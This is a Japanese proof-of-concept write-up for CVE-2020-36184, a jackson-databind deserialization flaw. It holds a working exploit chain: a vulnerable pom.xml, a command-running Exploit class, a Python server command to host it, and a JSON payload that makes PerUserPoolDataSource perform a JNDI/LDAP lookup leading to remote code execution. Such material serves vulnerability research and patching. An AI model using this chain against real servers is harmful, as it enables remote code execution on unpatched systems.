説明

FasterXML jackson-databind 2.x（2.9.10.8 より前）は、シリアル化ガジェットと型指定の間の相互作用を誤って処理します。これは、org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource に関連しています。

RCEの方法

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.jacksonTest</groupId>
    <artifactId>jacksonTest</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.10.7</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>10.0.0</version>
        </dependency>

        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
        <dependency>
            <groupId>javax.transaction</groupId>
            <artifactId>jta</artifactId>
            <version>1.1</version>
        </dependency>
    </dependencies>
</project>

Exploit.javax

import java.lang.Runtime;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

簡易サーバー

python -m  SimpleHTTPServer 4444

LDAPサーバー

ldap

POC.java

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;


public class POC {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        String json = "[\"org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource\", {\"dataSourceName\":\"ldap://127.0.0.1:1399/Exploit\"}]";
        Object obj = mapper.readValue(json, Object.class);
        mapper.writeValueAsString(obj);

    }
}

結果:

result

ガジェットチェーン

PerUserPoolDataSource
	->InstanceKeyDataSource.setDataSourceName
    		->InstanceKeyDataSource.getconnection 
        			->InstanceKeyDataSource.testCPDS
                		->lookup

CVE-2020-36184

人気

説明

RCEの方法

ガジェットチェーン